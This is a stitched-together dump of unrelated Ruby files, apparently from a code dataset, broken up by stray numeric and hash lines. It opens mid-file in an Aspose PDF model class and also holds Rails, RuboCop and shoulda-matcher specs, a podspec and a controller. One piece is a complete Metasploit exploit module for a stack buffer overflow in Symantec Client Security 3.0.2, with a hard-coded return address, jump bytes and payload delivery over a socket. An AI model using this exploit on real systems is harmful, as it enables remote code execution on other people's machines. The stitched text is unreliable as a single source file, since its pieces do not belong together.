1. attr_accessor :selected # Gets collection of options of the combobox. attr_accessor :options # Gets or sets current annotation appearance state. attr_accessor :active_state # Gets or sets editable status of the field. attr_accessor :editable # Gets or sets spellchaeck activiity status. attr_accessor :spell_check # Attribute mapping from ruby-style variable name to JSON key. def self.attribute_map { :'links' => :'Links', :'partial_name' => :'PartialName', :'full_name' => :'FullName', :'rect' => :'Rect', :'value' => :'Value', :'page_index' => :'PageIndex', :'height' => :'Height', :'width' => :'Width', :'z_index' => :'ZIndex', :'is_group' => :'IsGroup', :'parent' => :'Parent', :'is_shared_field' => :'IsSharedField', :'flags' => :'Flags', :'color' => :'Color', :'contents' => :'Contents', :'margin' => :'Margin', :'highlighting' => :'Highlighting', :'horizontal_alignment' => :'HorizontalAlignment', :'vertical_alignment' => :'VerticalAlignment', :'border' => :'Border', :'multi_select' => :'MultiSelect', :'selected' => :'Selected', :'options' => :'Options', :'active_state' => :'ActiveState', :'editable' => :'Editable', :'spell_check' => :'SpellCheck' } end # Attribute type mapping. def self.swagger_types { :'links' => :'Array<Link>', :'partial_name' => :'String', :'full_name' => :'String', :'rect' => :'Rectangle', :'value' => :'String', :'page_index' => :'Integer', :'height' => :'Float', :'width' => :'Float', :'z_index' => :'Integer', :'is_group' => :'BOOLEAN', :'parent' => :'FormField', :'is_shared_field' => :'BOOLEAN', :'flags' => :'Array<AnnotationFlags>', :'color' => :'Color', :'contents' => :'String', :'margin' => :'MarginInfo', :'highlighting' => :'LinkHighlightingMode', :'horizontal_alignment' => :'HorizontalAlignment', :'vertical_alignment' => :'VerticalAlignment', :'border' => :'Border', :'multi_select' => :'BOOLEAN', :'selected' => :'Integer', :'options' => :'Array<Option>', :'active_state' => :'String', :'editable' => :'BOOLEAN', :'spell_check' => :'BOOLEAN' } end # Initializes the object # @param [Hash] attributes Model attributes in the form of hash def initialize(attributes = {}) return unless attributes.is_a?(Hash) # convert string to symbol for hash key attributes = attributes.each_with_object({}){|(k,v), h| h[k.to_sym] = v} if attributes.has_key?(:'Links') if (value = attributes[:'Links']).is_a?(Array) self.links = value end end if attributes.has_key?(:'PartialName') self.partial_name = attributes[:'PartialName'] end if attributes.has_key?(:'FullName') self.full_name = attributes[:'FullName'] end if attributes.has_key?(:'Rect') self.rect = attributes[:'Rect'] end if attributes.has_key?(:'Value') self.value = attributes[:'Value'] end if attributes.has_key?(:'PageIndex') self.page_index = attributes[:'PageIndex'] end if attributes.has_key?(:'Height') self.height = attributes[:'Height'] end if attributes.has_key?(:'Width') self.width = attributes[:'Width'] end if attributes.has_key?(:'ZIndex') self.z_index = attributes[:'ZIndex'] end if attributes.has_key?(:'IsGroup') self.is_group = attributes[:'IsGroup'] end if attributes.has_key?(:'Parent') self.parent = attributes[:'Parent'] end if attributes.has_key?(:'IsSharedField') self.is_shared_field = attributes[:'IsSharedField'] end if attributes.has_key?(:'Flags') if (value = attributes[:'Flags']).is_a?(Array) self.flags = value end end if attributes.has_key?(:'Color') self.color = attributes[:'Color'] end if attributes.has_key?(:'Contents') self.contents = attributes[:'Contents'] end if attributes.has_key?(:'Margin') self.margin = attributes[:'Margin'] end if attributes.has_key?(:'Highlighting') self.highlighting = attributes[:'Highlighting'] end if attributes.has_key?(:'HorizontalAlignment') self.horizontal_alignment = attributes[:'HorizontalAlignment'] end if attributes.has_key?(:'VerticalAlignment') self.vertical_alignment = attributes[:'VerticalAlignment'] end if attributes.has_key?(:'Border') self.border = attributes[:'Border'] end if attributes.has_key?(:'MultiSelect') self.multi_select = attributes[:'MultiSelect'] end if attributes.has_key?(:'Selected') self.selected = attributes[:'Selected'] end if attributes.has_key?(:'Options') if (value = attributes[:'Options']).is_a?(Array) self.options = value end end if attributes.has_key?(:'ActiveState') self.active_state = attributes[:'ActiveState'] end if attributes.has_key?(:'Editable') self.editable = attributes[:'Editable'] end if attributes.has_key?(:'SpellCheck') self.spell_check = attributes[:'SpellCheck'] end end # Show invalid properties with the reasons. Usually used together with valid? # @return Array for valid properies with the reasons def list_invalid_properties invalid_properties = Array.new if @page_index.nil? invalid_properties.push("invalid value for 'page_index', page_index cannot be nil.") end return invalid_properties end # Check to see if the all the properties in the model are valid # @return true if the model is valid def valid? return false if @page_index.nil? return true end # Checks equality by comparing each attribute. # @param [Object] Object to be compared def ==(o) return true if self.equal?(o) self.class == o.class && links == o.links && partial_name == o.partial_name && full_name == o.full_name && rect == o.rect && value == o.value && page_index == o.page_index && height == o.height && width == o.width && z_index == o.z_index && is_group == o.is_group && parent == o.parent && is_shared_field == o.is_shared_field && flags == o.flags && color == o.color && contents == o.contents && margin == o.margin && highlighting == o.highlighting && horizontal_alignment == o.horizontal_alignment && vertical_alignment == o.vertical_alignment && border == o.border && multi_select == o.multi_select && selected == o.selected && options == o.options && active_state == o.active_state && editable == o.editable && spell_check == o.spell_check end # @see the `==` method # @param [Object] Object to be compared def eql?(o) self == o end # Calculates hash code according to all attributes. # @return [Fixnum] Hash code def hash [links, partial_name, full_name, rect, value, page_index, height, width, z_index, is_group, parent, is_shared_field, flags, color, contents, margin, highlighting, horizontal_alignment, vertical_alignment, border, multi_select, selected, options, active_state, editable, spell_check].hash end # Builds the object from hash # @param [Hash] attributes Model attributes in the form of hash # @return [Object] Returns the model itself def build_from_hash(attributes) return nil unless attributes.is_a?(Hash) self.class.swagger_types.each_pair do |key, type| if type =~ /\AArray<(.*)>/i # check to ensure the input is an array given that the the attribute # is documented as an array but the input is not if attributes[self.class.attribute_map[key]].is_a?(Array) self.send("#{key}=", attributes[self.class.attribute_map[key]].map{ |v| _deserialize($1, v) } ) end elsif !attributes[self.class.attribute_map[key]].nil? self.send("#{key}=", _deserialize(type, attributes[self.class.attribute_map[key]])) end # or else data not found in attributes(hash), not an issue as the data can be optional end self end # Deserializes the data based on type # @param string type Data type # @param string value Value to be deserialized # @return [Object] Deserialized data def _deserialize(type, value) case type.to_sym when :DateTime DateTime.parse(value) when :Date Date.parse(value) when :String value.to_s when :Integer value.to_i when :Float value.to_f when :BOOLEAN if value.to_s =~ /\A(true|t|yes|y|1)\z/i true else false end when :Object # generic object (usually a Hash), return directly value when /\AArray<(?<inner_type>.+)>\z/ inner_type = Regexp.last_match[:inner_type] value.map { |v| _deserialize(inner_type, v) } when /\AHash<(?<k_type>.+?), (?<v_type>.+)>\z/ k_type = Regexp.last_match[:k_type] v_type = Regexp.last_match[:v_type] {}.tap do |hash| value.each do |k, v| hash[_deserialize(k_type, k)] = _deserialize(v_type, v) end end else # model temp_model = AsposePdfCloud.const_get(type).new temp_model.build_from_hash(value) end end # Returns the string representation of the object # @return [String] String presentation of the object def to_s to_hash.to_s end # to_body is an alias to to_hash (backward compatibility) # @return [Hash] Returns the object in the form of hash def to_body to_hash end # Returns the object in the form of hash # @return [Hash] Returns the object in the form of hash def to_hash hash = {} self.class.attribute_map.each_pair do |attr, param| value = self.send(attr) next if value.nil? hash[param] = _to_hash(value) end hash end # Outputs non-array value in the form of hash # For object, use to_hash. Otherwise, just return the value # @param [Object] value Any valid value # @return [Hash] Returns the value in the form of hash def _to_hash(value) if value.is_a?(Array) value.compact.map{ |v| _to_hash(v) } elsif value.is_a?(Hash) {}.tap do |hash| value.each { |k, v| hash[k] = _to_hash(v) } end elsif value.respond_to? :to_hash value.to_hash else value end end end end
30.924078
293
0.603676
b9bb796e98a7a97a754997d1647a5dd6d3f8b3e0
149
class AddConvertedColumnToWebhookBlobs < ActiveRecord::Migration[5.2] def change add_column :webhook_blobs, :converted_at, :datetime end end
24.833333
69
0.791946
871eda0948aa01759753f2729777670828964579
571
# encoding: utf-8 module WorldDb module Model ############################################################# # collect depreciated or methods for future removal here # - keep for now for commpatibility (for old code) class Lang ##################################################### # alias for name (remove! add depreciated api call ???) ## def title() name; end ## def title=(value) self.name = value; end scope :by_title, ->{ order( 'name asc' ) } # order by title (a-z) end # class Lang end # module Model end # module WorldDb
23.791667
69
0.513135
870896a0db37592789f306ca39523c843537e5ac
769
require_relative "../canvas_base_resolver" module LMSGraphQL module Resolvers module Canvas class RedirectToAssignmentOverrideForGroup < CanvasBaseResolver type Boolean, null: false argument :group_id, ID, required: true argument :assignment_id, ID, required: true def resolve(group_id:, assignment_id:, get_all: false) result = context[:canvas_api].call("REDIRECT_TO_ASSIGNMENT_OVERRIDE_FOR_GROUP").proxy( "REDIRECT_TO_ASSIGNMENT_OVERRIDE_FOR_GROUP", { "group_id": group_id, "assignment_id": assignment_id }, nil, get_all, ) get_all ? result : result.parsed_response end end end end end
32.041667
96
0.625488
0877fc447c5fdd918558f1ffd35af2e95bafc4ff
5,597
require 'spec_helper' describe Shoulda::Matchers::Independent::DelegateMatcher do it 'supports chaining on #to' do matcher = delegate_method(:method) matcher.to(:another_method).should == matcher end it 'supports chaining on #with_arguments' do matcher = delegate_method(:method) matcher.with_arguments(1, 2, 3).should == matcher end it 'supports chaining on #as' do matcher = delegate_method(:method) matcher.as(:some_other_method).should == matcher end it 'should raise an error if no delegation target is defined' do object = Object.new expect { object.should delegate_method(:name) }.to raise_exception Shoulda::Matchers::Independent::DelegateMatcher::TargetNotDefinedError end it 'should raise an error if called with #should_not' do object = Object.new expect { object.should_not delegate_method(:name).to(:anyone) }.to raise_exception Shoulda::Matchers::Independent::DelegateMatcher::InvalidDelegateMatcher end context 'given a method that does not delegate' do before do define_class(:post_office) do def deliver_mail :delivered end end end it 'does not match' do post_office = PostOffice.new matcher = delegate_method(:deliver_mail).to(:mailman) matcher.matches?(post_office).should be_false end it 'has a failure message that indicates which method should have been delegated' do post_office = PostOffice.new matcher = delegate_method(:deliver_mail).to(:mailman) matcher.matches?(post_office) message = 'Expected PostOffice#deliver_mail to delegate to PostOffice#mailman' matcher.failure_message.should == message end it 'uses the proper syntax for class methods in errors' do matcher = delegate_method(:deliver_mail).to(:mailman) matcher.matches?(PostOffice) message = 'Expected PostOffice.deliver_mail to delegate to PostOffice.mailman' matcher.failure_message.should == message end end context 'given a method that delegates properly' do before do define_class(:mailman) define_class(:post_office) do def deliver_mail mailman.deliver_mail end def mailman Mailman.new end end end it 'matches' do post_office = PostOffice.new post_office.should delegate_method(:deliver_mail).to(:mailman) end end context 'given a method that delegates properly with certain arguments' do before do define_class(:mailman) define_class(:post_office) do def deliver_mail mailman.deliver_mail('221B Baker St.', :hastily => true) end def mailman Mailman.new end end end context 'when given the correct arguments' do it 'matches' do post_office = PostOffice.new matcher = delegate_method(:deliver_mail).to(:mailman).with_arguments('221B Baker St.', :hastily => true) post_office.should matcher end end context 'when not given the correct arguments' do it 'does not match' do post_office = PostOffice.new matcher = delegate_method(:deliver_mail).to(:mailman).with_arguments('123 Nowhere Ln.') matcher.matches?(post_office).should be_false end it 'has a failure message that indicates which arguments were expected' do post_office = PostOffice.new matcher = delegate_method(:deliver_mail).to(:mailman).with_arguments('123 Nowhere Ln.') matcher.matches?(post_office) message = 'Expected PostOffice#deliver_mail to delegate to PostOffice#mailman with arguments: ["123 Nowhere Ln."]' matcher.failure_message.should == message end end end context 'given a method that delegates properly to a method of a different name' do before do define_class(:mailman) define_class(:post_office) do def deliver_mail mailman.deliver_mail_and_avoid_dogs end def mailman Mailman.new end end end context 'when given the correct method name' do it 'matches' do post_office = PostOffice.new matcher = delegate_method(:deliver_mail).to(:mailman).as(:deliver_mail_and_avoid_dogs) post_office.should matcher end end context 'when given an incorrect method name' do it 'does not match' do post_office = PostOffice.new matcher = delegate_method(:deliver_mail).to(:mailman).as(:watch_tv) matcher.matches?(post_office).should be_false end it 'has a failure message that indicates which method was expected' do post_office = PostOffice.new matcher = delegate_method(:deliver_mail).to(:mailman).as(:watch_tv) matcher.matches?(post_office) message = 'Expected PostOffice#deliver_mail to delegate to PostOffice#mailman as :watch_tv' matcher.failure_message.should == message end end end end describe Shoulda::Matchers::Independent::DelegateMatcher::TargetNotDefinedError do it 'has a useful message' do error = Shoulda::Matchers::Independent::DelegateMatcher::TargetNotDefinedError.new error.message.should include 'Delegation needs a target' end end describe Shoulda::Matchers::Independent::DelegateMatcher::InvalidDelegateMatcher do it 'has a useful message' do error = Shoulda::Matchers::Independent::DelegateMatcher::InvalidDelegateMatcher.new error.message.should include 'does not support #should_not' end end
30.418478
122
0.689477
ac2b36142d9c5f2ebb527dd9a296549f18a27480
2,591
require "spec_helper" describe "generating a Rails app with the beard builder" do it "has the generated files" do app.should have_structure { file ".gitignore" file "Gemfile" do contains %{gem "beard"} contains %{gem "dm-sqlite-adapter"} end file "Rakefile" directory "autotest" do file "discover.rb" end file "config.ru" directory "doc" directory "log" directory "script" directory "tmp" do directory "cache" directory "pids" directory "sessions" directory "sockets" end directory "app" do directory "models" do file "user.rb" do contains "include DataMapper::Resource" contains "devise :" end end directory "controllers" do file "application_controller.rb" file "welcome_controller.rb" end directory "helpers" do file "application_helper.rb" directory "beard" do file "flash_helper.rb" end end directory "views" do directory "devise" directory "layouts" do file "application.html.haml" end end end directory "config" do file "application.rb" file "boot.rb" file "environment.rb" directory "environments" do file "development.rb" file "production.rb" file "test.rb" end directory "initializers" do file "devise.rb" end directory "locales" do file "en.yml" file "devise.en.yml" end file "routes.rb" do contains %{root :to => "welcome#index"} end file "database.yml" end directory "db" do file "seeds.rb" file "development.sqlite3" file "test.sqlite3" end directory "lib" directory "public" do directory "javascripts" do file "jquery.js" file "rails.js" do contains "jQuery" end end directory "stylesheets" do directory "sass" do file "application.sass" end end directory "images" do no_file "rails.png" end no_file "index.html" file "500.html" file "404.html" file "422.html" file "robots.txt" file "favicon.ico" end directory "spec" do file "spec_helper.rb" end } end end
20.728
59
0.519876
39cd28df3b07f9e73d7b7f5de78da773687cd780
555
Pod::Spec.new do |s| s.name = "react-native-youtube-player" s.version = "0.0.1" s.license = "MIT" s.homepage = "https://github.com/eaceto/react-native-youtube-player" s.authors = { 'Ezequiel Aceto' => '[email protected]' } s.summary = "A React Native module that allows you to play YouTube videos from React Native Apps." s.source = { :git => "https://github.com/eaceto/react-native-youtube-player" } s.source_files = "ios/*.{h,m}" s.platform = :ios, "9.0" s.dependency 'React' end
39.642857
105
0.614414
1dd8fddd5fa0daf83ddcb86bc308293678f4c677
7,536
# frozen_string_literal: true RSpec.describe RuboCop::Cop::Naming::BlockForwarding, :config do context 'when `EnforcedStyle: anonymous' do let(:cop_config) { { 'EnforcedStyle' => 'anonymous' } } context 'Ruby >= 3.1', :ruby31 do it 'registers and corrects an offense when using explicit block forwarding' do expect_offense(<<~RUBY) def foo(&block) ^^^^^^ Use anonymous block forwarding. bar(&block) ^^^^^^ Use anonymous block forwarding. baz(qux, &block) ^^^^^^ Use anonymous block forwarding. end RUBY expect_correction(<<~RUBY) def foo(&) bar(&) baz(qux, &) end RUBY end it 'registers and corrects an offense when using explicit block forwarding in singleton method' do expect_offense(<<~RUBY) def self.foo(&block) ^^^^^^ Use anonymous block forwarding. self.bar(&block) ^^^^^^ Use anonymous block forwarding. self.baz(qux, &block) ^^^^^^ Use anonymous block forwarding. end RUBY expect_correction(<<~RUBY) def self.foo(&) self.bar(&) self.baz(qux, &) end RUBY end it 'registers and corrects an offense when using symbol proc argument in method body' do expect_offense(<<~RUBY) def foo(&block) ^^^^^^ Use anonymous block forwarding. bar(&:do_something) end RUBY expect_correction(<<~RUBY) def foo(&) bar(&:do_something) end RUBY end it 'registers and corrects an offense when using `yield` in method body' do expect_offense(<<~RUBY) def foo(&block) ^^^^^^ Use anonymous block forwarding. yield end RUBY expect_correction(<<~RUBY) def foo(&) yield end RUBY end it 'registers and corrects an offense when using explicit block forwarding without method body' do expect_offense(<<~RUBY) def foo(&block) ^^^^^^ Use anonymous block forwarding. end RUBY expect_correction(<<~RUBY) def foo(&) end RUBY end it 'registers and corrects an offense when using explicit block forwarding without method definition parentheses' do expect_offense(<<~RUBY) def foo arg, &block ^^^^^^ Use anonymous block forwarding. bar &block ^^^^^^ Use anonymous block forwarding. baz qux, &block ^^^^^^ Use anonymous block forwarding. end RUBY expect_correction(<<~RUBY) def foo(arg, &) bar(&) baz(qux, &) end RUBY end it 'does not register an offense when using anonymous block forwarding' do expect_no_offenses(<<~RUBY) def foo(&) bar(&) end RUBY end it 'does not register an offense when using anonymous block forwarding without method body' do expect_no_offenses(<<~RUBY) def foo(&) end RUBY end it 'does not register an offense when using block argument as a variable' do expect_no_offenses(<<~RUBY) def foo(&block) bar(&block) if block end def foo(&block) block.call end RUBY end it 'does not register an offense when defining without block argument method' do expect_no_offenses(<<~RUBY) def foo(arg1, arg2) end RUBY end it 'does not register an offense when defining kwarg with block args method' do # Prevents the following syntax error: # # % ruby -cve 'def foo(k:, &); bar(&); end' # ruby 3.1.0dev (2021-12-05T10:23:42Z master 19f037e452) [x86_64-darwin19] # -e:1: no anonymous block parameter # expect_no_offenses(<<~RUBY) def foo(k:, &block) bar(&block) end RUBY end it 'does not register an offense when defining kwoptarg with block args method' do # Prevents the following syntax error: # # % ruby -cve 'def foo(k: v, &); bar(&); end' # ruby 3.1.0dev (2021-12-05T10:23:42Z master 19f037e452) [x86_64-darwin19] # -e:1: no anonymous block parameter # expect_no_offenses(<<~RUBY) def foo(k: v, &block) bar(&block) end RUBY end it 'does not register an offense when defining no arguments method' do expect_no_offenses(<<~RUBY) def foo end RUBY end end context 'Ruby < 3.0', :ruby30 do it 'does not register an offense when not using anonymous block forwarding' do expect_no_offenses(<<~RUBY) def foo(&block) bar(&block) end RUBY end end end context 'when `EnforcedStyle: explicit' do let(:cop_config) { { 'EnforcedStyle' => 'explicit' } } context 'Ruby >= 3.1', :ruby31 do it 'registers an offense when using anonymous block forwarding' do expect_offense(<<~RUBY) def foo(&) ^ Use explicit block forwarding. bar(&) ^ Use explicit block forwarding. baz(qux, &) ^ Use explicit block forwarding. end RUBY end it 'registers an offense when using anonymous block forwarding in singleton method' do expect_offense(<<~RUBY) def self.foo(&) ^ Use explicit block forwarding. self.bar(&) ^ Use explicit block forwarding. self.baz(qux, &) ^ Use explicit block forwarding. end RUBY end it 'registers an offense when using symbol proc argument in method body' do expect_offense(<<~RUBY) def foo(&) ^ Use explicit block forwarding. bar(&:do_something) end RUBY end it 'registers an offense when using `yield` in method body' do expect_offense(<<~RUBY) def foo(&) ^ Use explicit block forwarding. yield end RUBY end it 'registers and corrects an offense when using anonymous block forwarding without method body' do expect_offense(<<~RUBY) def foo(&) ^ Use explicit block forwarding. end RUBY end it 'does not register an offense when using explicit block forwarding' do expect_no_offenses(<<~RUBY) def foo(&block) bar(&block) end RUBY end it 'does not register an offense when using explicit block forwarding without method body' do expect_no_offenses(<<~RUBY) def foo(&block) end RUBY end it 'does not register an offense when defining without block argument method' do expect_no_offenses(<<~RUBY) def foo(arg1, arg2) end RUBY end end end end
28.224719
122
0.527335
03bd65995881652b63a33399fc7e8c251f5a071b
738
# encoding: UTF-8 Gem::Specification.new do |s| s.platform = Gem::Platform::RUBY s.name = 'spree_mailchimp_gibbon' s.version = '0.0.8' s.summary = 'Mail Chimp subscriptions for Spree using gibbon Mailchimp API wrapper' s.required_ruby_version = '>= 1.8.7' s.author = 'Jerrold Thompson' s.email = '[email protected]' s.homepage = 'https://github.com/bluehandtalking/spree_mailchimp_gibbon' s.files = `git ls-files`.split("\n") s.test_files = `git ls-files -- {test,spec,features}/*`.split("\n") s.require_path = 'lib' s.requirements << 'none' s.has_rdoc = true s.add_dependency 'spree_core', '~> 1.3.x' s.add_dependency 'gibbon', '~> 0.4.2' end
29.52
89
0.617886
01ba5e35fa1e4857ac6a3f1bf3a2cda602d5ba18
2,624
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Symantec Remote Management Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Symantec Client Security 3.0.x. This module has only been tested against Symantec Client Security 3.0.2 build 10.0.2.2000. }, 'Author' => [ 'MC' ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2006-2630'], ['OSVDB', '25846'], ['BID', '18107'], ['URL', 'http://research.eeye.com/html/advisories/published/AD20060612.html'], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 500, 'BadChars' => "\x00", 'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44", }, 'Platform' => 'win', 'Targets' => [ [ 'SCS 3.0.2 build 10.0.2.2000', { 'Ret' => 0x69985624 } ], # Dec2TAR.dll ], 'DefaultTarget' => 0, 'DisclosureDate' => '2006-05-24')) register_options( [ Opt::RPORT(2967) ]) end def exploit connect header = "\x01\x10\x0a\x20\x0a\x00\x00\x00" header << "\x02\x18\x00\x01\x00\x00\x00\x00" header << "\x00\x24\x00\x14\xb7\xc9\xd2\xd9" header << "\x3e\x33\xef\x34\x25\x1f\x43\x00" crufta = rand_text_alphanumeric(512) cruftb = rand_text_alphanumeric(514) cruftc = payload.encoded + rand_text_alphanumeric(513 - payload.encoded.length) cruftd = rand_text_alphanumeric(495) cruftd[479, 2] = "\xeb\x06" cruftd[483, 4] = [target.ret].pack('V') cruftd[487, 5] = [0xe8, -1000].pack('CV') cruftd << rand_text_alphanumeric(21) crufte = rand_text_alphanumeric(6) + "\x19\x00\x00\x00" crufte << rand_text_alphanumeric(504) + "\x00\x00" overflow = [ crufta.length ].pack('v') + crufta overflow << [ cruftb.length ].pack('v') + cruftb overflow << [ cruftc.length ].pack('v') + cruftc overflow << [ cruftd.length ].pack('v') + cruftd overflow << [ crufte.length ].pack('v') + crufte sploit = header + overflow print_status("Trying target #{target.name}...") sock.put(sploit) handler disconnect end end
29.155556
89
0.563262
d5358c218442d2cbae93165b6d5dd949147aaebf
131
Errbit::Application.config.secret_token = '<%= ENV['SECRET_TOKEN'] %>' Devise.secret_key = Errbit::Application.config.secret_token
43.666667
70
0.770992
6afc68c8cf04d7d79df8f11c03561a9bd17b157a
2,785
# frozen_string_literal: true module Curator class Filestreams::FileSetsController < ApplicationController include Curator::ResourceClass include Curator::ArkResource def index file_sets = resource_scope.order(created_at: :desc).limit(25) multi_response(serialized_resource(file_sets)) end def show multi_response(serialized_resource(@curator_resource, file_set_params)) end def create success, result = Curator::Filestreams::FileSetFactoryService.call(json_data: file_set_params) raise_failure(result) unless success json_response(serialized_resource(result), :created) end def update success, result = Curator::Filestreams::FileSetUpdaterService.call(@curator_resource, json_data: file_set_params) raise_failure(result) unless success json_response(serialized_resource(result), :ok) end private def file_set_params case params[:action] when 'show' params.permit(:show_primary_url) when 'create' params.require(:file_set).permit(:ark_id, :created_at, :updated_at, :file_set_type, :file_name_base, :position, file_set_of: [:ark_id], exemplary_image_of: [:ark_id], pagination: [:page_label, :page_type, :hand_side], metastreams: { administrative: [:description_standard, :hosting_status, :harvestable, :flagged, destination_site: [], access_edit_group: []], workflow: [:ingest_origin, :publishing_state, :processing_state] }, files: [:key, :created_at, :file_name, :file_type, :content_type, :byte_size, :checksum_md5, io: [:ingest_filepath, :fedora_content_location], metadata: {}]) when 'update' params.require(:file_set).permit(:position, pagination: [:page_label, :page_type, :hand_side], exemplary_image_of: [:ark_id, :_destroy], files: [:key, :file_name, :file_type, :content_type, :byte_size, :checksum_md5, io: [:ingest_filepath, :fedora_content_location], metadata: {}]) else params end rescue StandardError => e Rails.logger.error "===========#{e.inspect}================" raise Curator::Exceptions::BadRequest, 'Invalid value for for type params', "#{controller_path.dup}/params/:type" end end end
42.846154
185
0.567325
e87acf09d63f15f259e6e22c492f890a1a19c699
284
require_relative "boot" sns = AWS::SNS.new opts = Trollop::options do opt :email, "Email Address", :short => "e", :type => String opt :snsarn, "Arn for AWS SNS topic", :short => "a", :type => String end topic = sns.topics["#{opts[:snsarn]}"] topic.subscribe("#{opts[:email]}")
23.666667
70
0.633803
b9553a253ad53b6996711b21b07795ff9e8617a2
557
execute 'test prep' do command <<COMMAND mkdir -p /etc/conf.d touch /etc/conf.d/a ln -nsf /etc/profile.d/.bashrc /etc/conf.d/b mkdir -p /etc/conf.d/c COMMAND end zap_directory '/etc/conf.d' link '/etc/conf.d/link' do to '/etc/skel/.bash_logout' link_type :hard end link '/etc/conf.d/symlink' do to '/etc/issue' end file '/etc/conf.d/file' do content <<EOF export LANG=en_US EOF end cookbook_file '/etc/conf.d/cookbook_file' do source 'file.txt' end template '/etc/conf.d/template' do source 'source.erb' end directory '/etc/conf.d/dir'
15.472222
44
0.698384
4abb23c69ea7ed391088abdb7cfb75f4041e9420
338
# frozen_string_literal: true module Thredded # Previews for the PrivateTopicMailer class RelaunchUserMailerPreview < BaseMailerPreview def new_relaunch_user RelaunchUserMailer.new_relaunch_user( '10', '[email protected]', 'christl_bricki', 'asdasd343sds2sd4' ) end end end
21.125
53
0.692308
6a40f00733f6bce92f1736579054f3828ca3b49e
151
class RemoveEndDateFromRecordingSessions < ActiveRecord::Migration[6.1] def change remove_column :recording_sessions, :end_date, :date end end
25.166667
71
0.794702
380460b03cbdab68eb804ef448ecf54e7b68bb73
2,523
module Exlibris module Aleph require 'marc' # ==Overview # Provides access to the Aleph Record REST API. class Record < Rest::Base attr_accessor :bib_library, :record_id def initialize(*args) super end # Returns a MARC::Record that contains the bib data # Every method call refreshes the data from the underlying API. # Raises an exception if the response is not valid XML or there are errors. def bib self.response = self.class.get("#{record_url}?view=full") raise_error_if("Error getting bib from Aleph REST APIs.") { (response.parsed_response["get_record"].nil? or response.parsed_response["get_record"]["record"].nil?) } MARC::XMLReader.new(StringIO.new(xml(xml: response.body).at_xpath("get-record/record").to_xml(xml_options).strip)).first end # Returns an array of items. Each item is represented as a Hash. # Every method call refreshes the data from the underlying API. # Raises an exception if the response is not valid XML or there are errors. def items # Since we're parsing xml, this will raise an error # if the response isn't xml. self.response = self.class.get("#{record_url}/items?view=full") raise_error_if("Error getting items from Aleph REST APIs.") { (response.parsed_response["get_item_list"].nil? or response.parsed_response["get_item_list"]["items"].nil?) } [response.parsed_response["get_item_list"]["items"]["item"]].flatten end # Returns an array of holdings. Each holding is represented as a MARC::Record. # Every method call refreshes the data from the underlying API. # Raises an exception if there are errors. def holdings self.response = self.class.get("#{record_url}/holdings?view=full") raise_error_if("Error getting holdings from Aleph REST APIs.") { (response.parsed_response["get_hol_list"].nil? or response.parsed_response["get_hol_list"]["holdings"].nil?) } xml(xml: response.body).xpath("get-hol-list/holdings/holding").collect{ |holding| # Change the tag name to record so that the MARC::XMLReader can parse it. holding.name = "record" MARC::XMLReader.new(StringIO.new(holding.to_xml(xml_options).strip)).first } end def record_url @record_url ||= "#{rest_url}/record/#{bib_library}#{record_id}" end private :record_url end end end
43.5
128
0.661514
7aaa71a4afc4007a3ee6c16cf02eeffd3553069f
1,340
require 'minitest/autorun' require_relative 'crypto_square' # Common test data version: 3.1.0 e937744 class CryptoSquareTest < Minitest::Test def test_empty_plaintext_results_in_an_empty_ciphertext # skip plaintext = '' assert_equal "", Crypto.new(plaintext).ciphertext end def test_lowercase skip plaintext = 'A' assert_equal "a", Crypto.new(plaintext).ciphertext end def test_remove_spaces skip plaintext = ' b ' assert_equal "b", Crypto.new(plaintext).ciphertext end def test_remove_punctuation skip plaintext = '@1,%!' assert_equal "1", Crypto.new(plaintext).ciphertext end def test_9_character_plaintext_results_in_3_chunks_of_3_characters skip plaintext = 'This is fun!' assert_equal "tsf hiu isn", Crypto.new(plaintext).ciphertext end def test_8_character_plaintext_results_in_3_chunks_the_last_one_with_a_trailing_space skip plaintext = 'Chill out.' assert_equal "clu hlt io ", Crypto.new(plaintext).ciphertext end def test_54_character_plaintext_results_in_7_chunks_the_last_two_with_trailing_spaces skip plaintext = 'If man was meant to stay on the ground, god would have given us roots.' assert_equal "imtgdvs fearwer mayoogo anouuio ntnnlvt wttddes aohghn sseoau ", Crypto.new(plaintext).ciphertext end end
27.916667
116
0.752985
5dbef5521acdef0489e77a51070a39115f8d9b1a
326
require "spec_helper" feature "Process Page" do background do @p1_id = ::Yawl::Process.insert(:name => "p1", :desired_state => "test1") end scenario "javascript uses correct process url" do visit yawl_rails.yawl_process_path('p1') expect(page.source).to include("/yawl_rails/processes/p1/steps") end end
25.076923
77
0.708589
8738bc64c3a21345369d69271832135761dfd756
1,664
# # log_table.rb # Copyright (C) 2015 Daisuke Shimamoto <[email protected]> # # Distributed under terms of the MIT license. # require 'log_table/version' require 'hairtrigger' require 'log_table/railtie' if defined?(Rails::Railtie) module LogTable STATUS_COLUMN_NAME = 'log_table_status' def self.included(base) base.send :extend, ClassMethods end module ClassMethods INSERTED = 'inserted' UPDATED = 'updated' DELETED = 'deleted' def sql_func(status, options) col_names = column_names # Avoid any unnecessary round trips to the database db_columns = [STATUS_COLUMN_NAME] + col_names.map { |col_name| col_name == 'id' ? "#{model_name.to_s.underscore}_id" : "#{col_name}" } db_columns_str = db_columns.join(', ') values = ["\"#{status}\""] col_prefix = status == DELETED ? 'OLD' : 'NEW' values += col_names.map { |col| "#{col_prefix}.#{col}" } values_str = values.join(', ') log_table_name = options[:table_name] || "#{table_name}_log" sql = "INSERT INTO #{log_table_name}(#{db_columns_str}) VALUES (#{values_str})" sql end ## # add_log_trigger will add hairtrigger triggers to the model. # It will generate triggers for :insert and :update. # # Options: # # - :table_name - Specify table name of the log table. # def add_log_trigger(options = {}) trigger.after(:insert) do sql_func(INSERTED, options) end trigger.after(:update) do sql_func(UPDATED, options) end trigger.after(:delete) do sql_func(DELETED, options) end end end end
23.43662
85
0.634014
bb0a9dcf6aa58cce39c06126943f2a8959147a12
26
require "rubysl/tempfile"
13
25
0.807692
116b4cde9b4245aad244d312c8dd2d80d435635b
2,086
